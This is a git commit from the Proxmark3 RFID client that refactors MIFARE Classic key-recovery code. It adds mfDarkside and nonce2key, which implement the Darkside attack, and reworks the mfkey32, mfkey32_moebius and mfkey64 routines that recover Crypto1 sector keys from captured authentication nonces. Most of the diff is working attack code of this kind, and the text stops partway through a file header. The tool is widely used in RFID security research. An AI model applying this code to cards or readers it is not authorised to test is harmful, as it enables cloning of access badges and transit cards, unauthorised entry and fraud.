From: pwpiwi Date: Sat, 11 Mar 2017 17:32:53 +0000 (+0100) Subject: Code cleanup: Refactoring nonce2key X-Git-Tag: v3.0.0~46^2 X-Git-Url: http://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/commitdiff_plain/7779d73c71c248e05574b85f82df4e4f543d522e?ds=sidebyside;hp=-c Code cleanup: Refactoring nonce2key - include nonce2key() in mifarehost.c - remove tools/nonce2key - simplify mifare_autopwn.lua --- 7779d73c71c248e05574b85f82df4e4f543d522e diff --git a/client/Makefile b/client/Makefile index 79e0cc31..ac7e6f98 100644 --- a/client/Makefile +++ b/client/Makefile @@ -58,7 +58,7 @@ CORESRCS = uart.c \ CMDSRCS = crapto1/crapto1.c\ crapto1/crypto1.c\ - nonce2key/nonce2key.c\ + nonce2key.c\ loclass/cipher.c \ loclass/cipherutils.c \ loclass/des.c \ diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index b3f7acb2..47660a6e 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -19,91 +19,35 @@ #include "ui.h" #include "mifarehost.h" #include "mifare.h" -#include "nonce2key/nonce2key.h" +#include "nonce2key.h" #define NESTED_SECTOR_RETRY 10 // how often we try mfested() until we give up static int CmdHelp(const char *Cmd); + int CmdHF14AMifare(const char *Cmd) { - uint32_t uid = 0; - uint32_t nt = 0, nr = 0; - uint64_t par_list = 0, ks_list = 0, r_key = 0; - int16_t isOK = 0; - - UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}}; - - // message - printf("-------------------------------------------------------------------------\n"); - printf("Executing command. Expected execution time: 25sec on average :-)\n"); - printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n"); - printf("-------------------------------------------------------------------------\n"); - - - start: - clearCommandBuffer(); - SendCommand(&c); - - //flush queue - while (ukbhit()) { - int c = getchar(); (void) c; - } - - // wait cycle - while (true) { - printf("."); - fflush(stdout); - if (ukbhit()) { - getchar(); - printf("\naborted via keyboard!\n"); - break; - } - - UsbCommand resp; - if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) { - isOK = resp.arg[0]; - uid = (uint32_t)bytes_to_num(resp.d.asBytes + 0, 4); - nt = (uint32_t)bytes_to_num(resp.d.asBytes + 4, 4); - par_list = bytes_to_num(resp.d.asBytes + 8, 8); - ks_list = bytes_to_num(resp.d.asBytes + 16, 8); - nr = bytes_to_num(resp.d.asBytes + 24, 4); - printf("\n\n"); - switch (isOK) { - case -1 : PrintAndLog("Button pressed. Aborted.\n"); break; - case -2 : PrintAndLog("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).\n"); break; - case -3 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator is not predictable).\n"); break; - case -4 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown"); - PrintAndLog("generating polynomial with 16 effective bits only, but shows unexpected behaviour.\n"); break; - default: ; - } - break; - } - } + int isOK = 0; + uint64_t key = 0; - printf("\n"); - - // error - if (isOK != 1) return 1; - - // execute original function from util nonce2key - if (nonce2key(uid, nt, nr, par_list, ks_list, &r_key)) { - isOK = 2; - PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt); - PrintAndLog("Failing is expected to happen in 25%% of all cases. Trying again with a different reader nonce..."); - c.arg[0] = false; - goto start; - } else { - isOK = 0; - printf("------------------------------------------------------------------\n"); - PrintAndLog("Found valid key:%012" PRIx64 " \n", r_key); + isOK = mfDarkside(&key); + switch (isOK) { + case -1 : PrintAndLog("Button pressed. Aborted."); return 1; + case -2 : PrintAndLog("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests)."); return 1; + case -3 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator is not predictable)."); return 1; + case -4 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown"); + PrintAndLog("generating polynomial with 16 effective bits only, but shows unexpected behaviour."); return 1; + case -5 : PrintAndLog("Aborted via keyboard."); return 1; + default : PrintAndLog("Found valid key:%012" PRIx64 "\n", key); } PrintAndLog(""); return 0; } + int CmdHF14AMfWrBl(const char *Cmd) { uint8_t blockNo = 0; @@ -1090,7 +1034,7 @@ void readerAttack(nonces_t ar_resp[], bool setEmulatorMem, bool doStandardAttack } } } - } else if (tryMfk32_moebius(ar_resp[i+ATTACK_KEY_COUNT], &key)) { + } else if (mfkey32_moebius(ar_resp[i+ATTACK_KEY_COUNT], &key)) { uint8_t sectorNum = ar_resp[i+ATTACK_KEY_COUNT].sector; uint8_t keyType = ar_resp[i+ATTACK_KEY_COUNT].keytype; diff --git a/client/mifarehost.c b/client/mifarehost.c index 411a44c1..cbd79cf7 100644 --- a/client/mifarehost.c +++ b/client/mifarehost.c @@ -33,7 +33,194 @@ #define TRACE_ERROR 0xFF -// MIFARE +static int compare_uint64(const void *a, const void *b) { + // didn't work: (the result is truncated to 32 bits) + //return (*(int64_t*)b - *(int64_t*)a); + + // better: + if (*(uint64_t*)b == *(uint64_t*)a) return 0; + else if (*(uint64_t*)b < *(uint64_t*)a) return 1; + else return -1; +} + + +// create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned. +static uint32_t intersection(uint64_t *list1, uint64_t *list2) +{ + if (list1 == NULL || list2 == NULL) { + return 0; + } + uint64_t *p1, *p2, *p3; + p1 = p3 = list1; + p2 = list2; + + while ( *p1 != -1 && *p2 != -1 ) { + if (compare_uint64(p1, p2) == 0) { + *p3++ = *p1++; + p2++; + } + else { + while (compare_uint64(p1, p2) < 0) ++p1; + while (compare_uint64(p1, p2) > 0) ++p2; + } + } + *p3 = -1; + return p3 - list1; +} + + +// Darkside attack (hf mf mifare) +static uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t **keys) { + struct Crypto1State *states; + uint32_t i, pos, rr; //nr_diff; + uint8_t bt, ks3x[8], par[8][8]; + uint64_t key_recovered; + static uint64_t *keylist; + rr = 0; + + // Reset the last three significant bits of the reader nonce + nr &= 0xffffff1f; + + for (pos=0; pos<8; pos++) { + ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f; + bt = (par_info >> (pos*8)) & 0xff; + for (i=0; i<8; i++) { + par[7-pos][i] = (bt >> i) & 0x01; + } + } + + states = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0)); + + if (states == NULL) { + *keys = NULL; + return 0; + } + + keylist = (uint64_t*)states; + + for (i = 0; keylist[i]; i++) { + lfsr_rollback_word(states+i, uid^nt, 0); + crypto1_get_lfsr(states+i, &key_recovered); + keylist[i] = key_recovered; + } + keylist[i] = -1; + + *keys = keylist; + return i; +} + + +int mfDarkside(uint64_t *key) +{ + uint32_t uid = 0; + uint32_t nt = 0, nr = 0; + uint64_t par_list = 0, ks_list = 0; + uint64_t *keylist = NULL, *last_keylist = NULL; + uint32_t keycount = 0; + int16_t isOK = 0; + + UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}}; + + // message + printf("-------------------------------------------------------------------------\n"); + printf("Executing command. Expected execution time: 25sec on average\n"); + printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n"); + printf("-------------------------------------------------------------------------\n"); + + + while (true) { + clearCommandBuffer(); + SendCommand(&c); + + //flush queue + while (ukbhit()) { + int c = getchar(); (void) c; + } + + // wait cycle + while (true) { + printf("."); + fflush(stdout); + if (ukbhit()) { + return -5; + break; + } + + UsbCommand resp; + if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) { + isOK = resp.arg[0]; + if (isOK < 0) { + return isOK; + } + uid = (uint32_t)bytes_to_num(resp.d.asBytes + 0, 4); + nt = (uint32_t)bytes_to_num(resp.d.asBytes + 4, 4); + par_list = bytes_to_num(resp.d.asBytes + 8, 8); + ks_list = bytes_to_num(resp.d.asBytes + 16, 8); + nr = bytes_to_num(resp.d.asBytes + 24, 4); + break; + } + } + + if (par_list == 0 && c.arg[0] == true) { + PrintAndLog("Parity is all zero. Most likely this card sends NACK on every failed authentication."); + PrintAndLog("Attack will take a few seconds longer because we need two consecutive successful runs."); + } + c.arg[0] = false; + + keycount = nonce2key(uid, nt, nr, par_list, ks_list, &keylist); + + if (keycount == 0) { + PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt); + PrintAndLog("This is expected to happen in 25%% of all cases. Trying again with a different reader nonce..."); + continue; + } + + qsort(keylist, keycount, sizeof(*keylist), compare_uint64); + keycount = intersection(last_keylist, keylist); + if (keycount == 0) { + free(last_keylist); + last_keylist = keylist; + continue; + } + + if (keycount > 1) { + PrintAndLog("Found %u possible keys. Trying to authenticate with each of them ...\n", keycount); + } else { + PrintAndLog("Found a possible key. Trying to authenticate...\n"); + } + + *key = -1; + uint8_t keyBlock[USB_CMD_DATA_SIZE]; + int max_keys = USB_CMD_DATA_SIZE/6; + for (int i = 0; i < keycount; i += max_keys) { + int size = keycount - i > max_keys ? max_keys : keycount - i; + for (int j = 0; j < size; j++) { + if (last_keylist == NULL) { + num_to_bytes(keylist[i*max_keys + j], 6, keyBlock); + } else { + num_to_bytes(last_keylist[i*max_keys + j], 6, keyBlock); + } + } + if (!mfCheckKeys(0, 0, false, size, keyBlock, key)) { + break; + } + } + + if (*key != -1) { + free(last_keylist); + free(keylist); + break; + } else { + PrintAndLog("Authentication failed. Trying again..."); + free(last_keylist); + last_keylist = keylist; + } + } + + return 0; +} + + int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){ *key = 0; @@ -49,16 +236,6 @@ int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t key return 0; } -int compar_int(const void * a, const void * b) { - // didn't work: (the result is truncated to 32 bits) - //return (*(uint64_t*)b - *(uint64_t*)a); - - // better: - if (*(uint64_t*)b == *(uint64_t*)a) return 0; - else if (*(uint64_t*)b > *(uint64_t*)a) return 1; - else return -1; -} - // Compare 16 Bits out of cryptostate int Compare16Bits(const void * a, const void * b) { if ((*(uint64_t*)b & 0x00ff000000ff0000) == (*(uint64_t*)a & 0x00ff000000ff0000)) return 0; @@ -100,7 +277,7 @@ void* nested_worker_thread(void *arg) return statelist->head.slhead; } -int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * resultKey, bool calibrate) +int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate) { uint16_t i; uint32_t uid; @@ -178,8 +355,8 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo while (Compare16Bits(p1, p2) == 1) p2++; } } - p3->even = 0; p3->odd = 0; - p4->even = 0; p4->odd = 0; + *(uint64_t*)p3 = -1; + *(uint64_t*)p4 = -1; statelists[0].len = p3 - statelists[0].head.slhead; statelists[1].len = p4 - statelists[1].head.slhead; statelists[0].tail.sltail=--p3; @@ -187,24 +364,9 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo // the statelists now contain possible keys. The key we are searching for must be in the // intersection of both lists. Create the intersection: - qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compar_int); - qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compar_int); - - uint64_t *p5, *p6, *p7; - p5 = p7 = statelists[0].head.keyhead; - p6 = statelists[1].head.keyhead; - while (p5 <= statelists[0].tail.keytail && p6 <= statelists[1].tail.keytail) { - if (compar_int(p5, p6) == 0) { - *p7++ = *p5++; - p6++; - } - else { - while (compar_int(p5, p6) == -1) p5++; - while (compar_int(p5, p6) == 1) p6++; - } - } - statelists[0].len = p7 - statelists[0].head.keyhead; - statelists[0].tail.keytail=--p7; + qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compare_uint64); + qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compare_uint64); + statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead); memset(resultKey, 0, 6); // The list may still contain several key candidates. Test each of them with mfCheckKeys diff --git a/client/mifarehost.h b/client/mifarehost.h index e628ba3a..a9db4ec3 100644 --- a/client/mifarehost.h +++ b/client/mifarehost.h @@ -22,8 +22,9 @@ extern char logHexFileName[FILE_PATH_SIZE]; -extern int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * ResultKeys, bool calibrate); -extern int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key); +extern int mfDarkside(uint64_t *key); +extern int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *ResultKeys, bool calibrate); +extern int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key); extern int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount); extern int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount); diff --git a/client/nonce2key.c b/client/nonce2key.c new file mode 100644 index 00000000..acd551e4 --- /dev/null +++ b/client/nonce2key.c @@ -0,0 +1,137 @@ +//----------------------------------------------------------------------------- +// Merlok - June 2011 +// Roel - Dec 2009 +// Unknown author +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// MIFARE Darkside hack +//----------------------------------------------------------------------------- + +#include "nonce2key.h" + +#include +#include +#include +#include "mifarehost.h" +#include "util.h" +#include "crapto1/crapto1.h" + +// recover key from 2 different reader responses on same tag challenge +bool mfkey32(nonces_t data, uint64_t *outputkey) { + struct Crypto1State *s,*t; + uint64_t outkey = 0; + uint64_t key = 0; // recovered key + bool isSuccess = false; + uint8_t counter = 0; + + uint64_t t1 = msclock(); + + s = lfsr_recovery32(data.ar ^ prng_successor(data.nonce, 64), 0); + + for(t = s; t->odd | t->even; ++t) { + lfsr_rollback_word(t, 0, 0); + lfsr_rollback_word(t, data.nr, 1); + lfsr_rollback_word(t, data.cuid ^ data.nonce, 0); + crypto1_get_lfsr(t, &key); + crypto1_word(t, data.cuid ^ data.nonce, 0); + crypto1_word(t, data.nr2, 1); + if (data.ar2 == (crypto1_word(t, 0, 0) ^ prng_successor(data.nonce, 64))) { + //PrintAndLog("Found Key: [%012" PRIx64 "]",key); + outkey = key; + counter++; + if (counter == 20) break; + } + } + isSuccess = (counter == 1); + t1 = msclock() - t1; + //if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter); + *outputkey = ( isSuccess ) ? outkey : 0; + crypto1_destroy(s); + /* //un-comment to save all keys to a stats.txt file + FILE *fout; + if ((fout = fopen("stats.txt","ab")) == NULL) { + PrintAndLog("Could not create file name stats.txt"); + return 1; + } + fprintf(fout, "mfkey32,%d,%08x,%d,%s,%04x%08x,%.0Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t)(outkey>>32) & 0xFFFF,(uint32_t)(outkey&0xFFFFFFFF),(long double)t1); + fclose(fout); + */ + return isSuccess; +} + +// recover key from 2 reader responses on 2 different tag challenges +bool mfkey32_moebius(nonces_t data, uint64_t *outputkey) { + struct Crypto1State *s, *t; + uint64_t outkey = 0; + uint64_t key = 0; // recovered key + bool isSuccess = false; + int counter = 0; + + //PrintAndLog("Enter mfkey32_moebius"); + uint64_t t1 = msclock(); + + s = lfsr_recovery32(data.ar ^ prng_successor(data.nonce, 64), 0); + + for(t = s; t->odd | t->even; ++t) { + lfsr_rollback_word(t, 0, 0); + lfsr_rollback_word(t, data.nr, 1); + lfsr_rollback_word(t, data.cuid ^ data.nonce, 0); + crypto1_get_lfsr(t, &key); + + crypto1_word(t, data.cuid ^ data.nonce2, 0); + crypto1_word(t, data.nr2, 1); + if (data.ar2 == (crypto1_word(t, 0, 0) ^ prng_successor(data.nonce2, 64))) { + //PrintAndLog("Found Key: [%012" PRIx64 "]",key); + outkey=key; + ++counter; + if (counter==20) + break; + } + } + isSuccess = (counter == 1); + t1 = msclock() - t1; + // PrintAndLog("Time in mfkey32_moebius: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter); + *outputkey = ( isSuccess ) ? outkey : 0; + crypto1_destroy(s); + /* // un-comment to output all keys to stats.txt + FILE *fout; + if ((fout = fopen("stats.txt","ab")) == NULL) { + PrintAndLog("Could not create file name stats.txt"); + return 1; + } + fprintf(fout, "moebius,%d,%08x,%d,%s,%04x%08x,%0.Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t) (outkey>>32),(uint32_t)(outkey&0xFFFFFFFF),(long double)t1); + fclose(fout); + */ + return isSuccess; +} + +// recover key from reader response and tag response of one authentication sequence +int mfkey64(nonces_t data, uint64_t *outputkey){ + uint64_t key = 0; // recovered key + uint32_t ks2; // keystream used to encrypt reader response + uint32_t ks3; // keystream used to encrypt tag response + struct Crypto1State *revstate; + + // PrintAndLog("Enter mfkey64"); + uint64_t t1 = msclock(); + + // Extract the keystream from the messages + ks2 = data.ar ^ prng_successor(data.nonce, 64); + ks3 = data.at ^ prng_successor(data.nonce, 96); + revstate = lfsr_recovery64(ks2, ks3); + lfsr_rollback_word(revstate, 0, 0); + lfsr_rollback_word(revstate, 0, 0); + lfsr_rollback_word(revstate, data.nr, 1); + lfsr_rollback_word(revstate, data.cuid ^ data.nonce, 0); + crypto1_get_lfsr(revstate, &key); + // PrintAndLog("Found Key: [%012" PRIx64 "]", key); + crypto1_destroy(revstate); + *outputkey = key; + + t1 = msclock() - t1; + // PrintAndLog("Time in mfkey64: %.1f seconds \n", (float)t1/1000.0); + return 0; +} diff --git a/client/nonce2key.h b/client/nonce2key.h new file mode 100644 index 00000000..795f239d --- /dev/null +++ b/client/nonce2key.h @@ -0,0 +1,36 @@ +//----------------------------------------------------------------------------- +// Merlok - June 2011 +// Roel - Dec 2009 +// Unknown author +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// MIFARE Darkside hack +//----------------------------------------------------------------------------- + +#ifndef __NONCE2KEY_H +#define __NONCE2KEY_H + +#include +#include + +typedef struct { + uint32_t cuid; + uint8_t sector; + uint8_t keytype; + uint32_t nonce; + uint32_t ar; + uint32_t nr; + uint32_t at; + uint32_t nonce2; + uint32_t ar2; + uint32_t nr2; + } nonces_t; + +bool mfkey32(nonces_t data, uint64_t *outputkey); +bool mfkey32_moebius(nonces_t data, uint64_t *outputkey); +int mfkey64(nonces_t data, uint64_t *outputkey); + +#endif diff --git a/client/nonce2key/nonce2key.c b/client/nonce2key/nonce2key.c deleted file mode 100644 index 6573b39d..00000000 --- a/client/nonce2key/nonce2key.c +++ /dev/null @@ -1,288 +0,0 @@ -//----------------------------------------------------------------------------- -// Merlok - June 2011 -// Roel - Dec 2009 -// Unknown author -// -// This code is licensed to you under the terms of the GNU GPL, version 2 or, -// at your option, any later version. See the LICENSE.txt file for the text of -// the license. -//----------------------------------------------------------------------------- -// MIFARE Darkside hack -//----------------------------------------------------------------------------- - -#include "nonce2key.h" - -#include -#include -#include -#include "mifarehost.h" -#include "ui.h" -#include "util.h" -#include "crapto1/crapto1.h" - -int compar_state(const void * a, const void * b) { - // didn't work: (the result is truncated to 32 bits) - //return (*(int64_t*)b - *(int64_t*)a); - - // better: - if (*(int64_t*)b == *(int64_t*)a) return 0; - else if (*(int64_t*)b > *(int64_t*)a) return 1; - else return -1; -} - -int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) { - struct Crypto1State *state; - uint32_t i, pos, rr, nr_diff, key_count;//, ks1, ks2; - uint8_t bt, ks3x[8], par[8][8]; - uint64_t key_recovered; - int64_t *state_s; - static uint32_t last_uid; - static int64_t *last_keylist; - rr = 0; - - if (last_uid != uid && last_keylist != NULL) - { - free(last_keylist); - last_keylist = NULL; - } - last_uid = uid; - - // Reset the last three significant bits of the reader nonce - nr &= 0xffffff1f; - - PrintAndLog("\nuid(%08x) nt(%08x) par(%016" PRIx64") ks(%016" PRIx64") nr(%08" PRIx32")\n\n",uid,nt,par_info,ks_info,nr); - - for (pos=0; pos<8; pos++) - { - ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f; - bt = (par_info >> (pos*8)) & 0xff; - for (i=0; i<8; i++) - { - par[7-pos][i] = (bt >> i) & 0x01; - } - } - - printf("|diff|{nr} |ks3|ks3^5|parity |\n"); - printf("+----+--------+---+-----+---------------+\n"); - for (i=0; i<8; i++) - { - nr_diff = nr | i << 5; - printf("| %02x |%08x|",i << 5, nr_diff); - printf(" %01x | %01x |",ks3x[i], ks3x[i]^5); - for (pos=0; pos<7; pos++) printf("%01x,", par[i][pos]); - printf("%01x|\n", par[i][7]); - } - - if (par_info == 0) - PrintAndLog("Parity is all zero, trying special attack! Just wait for few more seconds..."); - - state = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0)); - state_s = (int64_t*)state; - - //char filename[50] ; - //sprintf(filename, "nt_%08x_%d.txt", nt, nr); - //printf("name %s\n", filename); - //FILE* fp = fopen(filename,"w"); - for (i = 0; (state) && *(state_s + i); i++) - { - lfsr_rollback_word(state+i, uid^nt, 0); - crypto1_get_lfsr(state + i, &key_recovered); - *(state_s + i) = key_recovered; - //fprintf(fp, "%012" PRIx64 "\n",key_recovered); - } - //fclose(fp); - - if(!state) - return 1; - - qsort(state_s, i, sizeof(*state_s), compar_state); - *(state_s + i) = -1; - - //Create the intersection: - if (par_info == 0 ) { - if (last_keylist != NULL) { - int64_t *p1, *p2, *p3; - p1 = p3 = last_keylist; - p2 = state_s; - while ( *p1 != -1 && *p2 != -1 ) { - if (compar_state(p1, p2) == 0) { - printf("p1:%" PRIx64" p2:%" PRIx64 " p3:%" PRIx64" key:%012" PRIx64 "\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1); - *p3++ = *p1++; - p2++; - } - else { - while (compar_state(p1, p2) == -1) ++p1; - while (compar_state(p1, p2) == 1) ++p2; - } - } - key_count = p3 - last_keylist; - } else { - key_count = 0; - } - } else { - last_keylist = state_s; - key_count = i; - } - - printf("key_count:%d\n", key_count); - - // The list may still contain several key candidates. Test each of them with mfCheckKeys - for (i = 0; i < key_count; i++) { - uint8_t keyBlock[6]; - uint64_t key64; - key64 = *(last_keylist + i); - num_to_bytes(key64, 6, keyBlock); - key64 = 0; - if (!mfCheckKeys(0, 0, false, 1, keyBlock, &key64)) { - *key = key64; - free(last_keylist); - last_keylist = NULL; - if (par_info == 0) - free(state); - return 0; - } - } - - - free(last_keylist); - last_keylist = state_s; - - return 1; -} - -// 32 bit recover key from 2 nonces -bool mfkey32(nonces_t data, uint64_t *outputkey) { - struct Crypto1State *s,*t; - uint64_t outkey = 0; - uint64_t key=0; // recovered key - uint32_t uid = data.cuid; - uint32_t nt = data.nonce; // first tag challenge (nonce) - uint32_t nr0_enc = data.nr; // first encrypted reader challenge - uint32_t ar0_enc = data.ar; // first encrypted reader response - uint32_t nr1_enc = data.nr2; // second encrypted reader challenge - uint32_t ar1_enc = data.ar2; // second encrypted reader response - uint64_t t1 = msclock(); - bool isSuccess = false; - uint8_t counter=0; - - s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0); - - for(t = s; t->odd | t->even; ++t) { - lfsr_rollback_word(t, 0, 0); - lfsr_rollback_word(t, nr0_enc, 1); - lfsr_rollback_word(t, uid ^ nt, 0); - crypto1_get_lfsr(t, &key); - crypto1_word(t, uid ^ nt, 0); - crypto1_word(t, nr1_enc, 1); - if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) { - //PrintAndLog("Found Key: [%012" PRIx64 "]",key); - outkey = key; - counter++; - if (counter==20) break; - } - } - isSuccess = (counter == 1); - t1 = msclock() - t1; - //if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter); - *outputkey = ( isSuccess ) ? outkey : 0; - crypto1_destroy(s); - /* //un-comment to save all keys to a stats.txt file - FILE *fout; - if ((fout = fopen("stats.txt","ab")) == NULL) { - PrintAndLog("Could not create file name stats.txt"); - return 1; - } - fprintf(fout, "mfkey32,%d,%08x,%d,%s,%04x%08x,%.0Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t)(outkey>>32) & 0xFFFF,(uint32_t)(outkey&0xFFFFFFFF),(long double)t1); - fclose(fout); - */ - return isSuccess; -} - -bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey) { - struct Crypto1State *s, *t; - uint64_t outkey = 0; - uint64_t key = 0; // recovered key - uint32_t uid = data.cuid; - uint32_t nt0 = data.nonce; // first tag challenge (nonce) - uint32_t nr0_enc = data.nr; // first encrypted reader challenge - uint32_t ar0_enc = data.ar; // first encrypted reader response - uint32_t nt1 = data.nonce2; // second tag challenge (nonce) - uint32_t nr1_enc = data.nr2; // second encrypted reader challenge - uint32_t ar1_enc = data.ar2; // second encrypted reader response - bool isSuccess = false; - int counter = 0; - - //PrintAndLog("Enter mfkey32_moebius"); - uint64_t t1 = msclock(); - - s = lfsr_recovery32(ar0_enc ^ prng_successor(nt0, 64), 0); - - for(t = s; t->odd | t->even; ++t) { - lfsr_rollback_word(t, 0, 0); - lfsr_rollback_word(t, nr0_enc, 1); - lfsr_rollback_word(t, uid ^ nt0, 0); - crypto1_get_lfsr(t, &key); - - crypto1_word(t, uid ^ nt1, 0); - crypto1_word(t, nr1_enc, 1); - if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64))) { - //PrintAndLog("Found Key: [%012" PRIx64 "]",key); - outkey=key; - ++counter; - if (counter==20) - break; - } - } - isSuccess = (counter == 1); - t1 = msclock() - t1; - //if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter); - *outputkey = ( isSuccess ) ? outkey : 0; - crypto1_destroy(s); - /* // un-comment to output all keys to stats.txt - FILE *fout; - if ((fout = fopen("stats.txt","ab")) == NULL) { - PrintAndLog("Could not create file name stats.txt"); - return 1; - } - fprintf(fout, "moebius,%d,%08x,%d,%s,%04x%08x,%0.Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t) (outkey>>32),(uint32_t)(outkey&0xFFFFFFFF),(long double)t1); - fclose(fout); - */ - return isSuccess; -} - -int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){ - uint32_t uid = le32toh(data); - uint32_t nt = le32toh(data+4); // tag challenge - uint32_t nr_enc = le32toh(data+8); // encrypted reader challenge - uint32_t ar_enc = le32toh(data+12); // encrypted reader response - uint32_t at_enc = le32toh(data+16); // encrypted tag response - return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey); -} - -int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){ - uint64_t key = 0; // recovered key - uint32_t ks2; // keystream used to encrypt reader response - uint32_t ks3; // keystream used to encrypt tag response - struct Crypto1State *revstate; - - PrintAndLog("Enter mfkey64"); - uint64_t t1 = msclock(); - - // Extract the keystream from the messages - ks2 = ar_enc ^ prng_successor(nt, 64); - ks3 = at_enc ^ prng_successor(nt, 96); - revstate = lfsr_recovery64(ks2, ks3); - lfsr_rollback_word(revstate, 0, 0); - lfsr_rollback_word(revstate, 0, 0); - lfsr_rollback_word(revstate, nr_enc, 1); - lfsr_rollback_word(revstate, uid ^ nt, 0); - crypto1_get_lfsr(revstate, &key); - PrintAndLog("Found Key: [%012" PRIx64 "]", key); - crypto1_destroy(revstate); - *outputkey = key; - - t1 = msclock() - t1; - if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.1f seconds \n", (float)t1/1000.0); - return 0; -} - diff --git a/client/nonce2key/nonce2key.h b/client/nonce2key/nonce2key.h deleted file mode 100644 index 07ad18c0..00000000 --- a/client/nonce2key/nonce2key.h +++ /dev/null @@ -1,39 +0,0 @@ -//----------------------------------------------------------------------------- -// Merlok - June 2011 -// Roel - Dec 2009 -// Unknown author -// -// This code is licensed to you under the terms of the GNU GPL, version 2 or, -// at your option, any later version. See the LICENSE.txt file for the text of -// the license. -//----------------------------------------------------------------------------- -// MIFARE Darkside hack -//----------------------------------------------------------------------------- - -#ifndef __NONCE2KEY_H -#define __NONCE2KEY_H - -#include -#include - -typedef struct { - uint32_t cuid; - uint8_t sector; - uint8_t keytype; - uint32_t nonce; - uint32_t ar; - uint32_t nr; - uint32_t nonce2; - uint32_t ar2; - uint32_t nr2; - } nonces_t; - -int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key); -bool mfkey32(nonces_t data, uint64_t *outputkey); -bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey); -int tryMfk64_ex(uint8_t *data, uint64_t *outputkey); -int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey); - -//uint64_t mfkey32(uint32_t uid, uint32_t nt, uint32_t nr0_enc, uint32_t ar0_enc, uint32_t nr1_enc, uint32_t ar1_enc); - -#endif diff --git a/client/obj/nonce2key/.dummy b/client/obj/nonce2key/.dummy deleted file mode 100644 index e69de29b..00000000 diff --git a/client/scripting.c 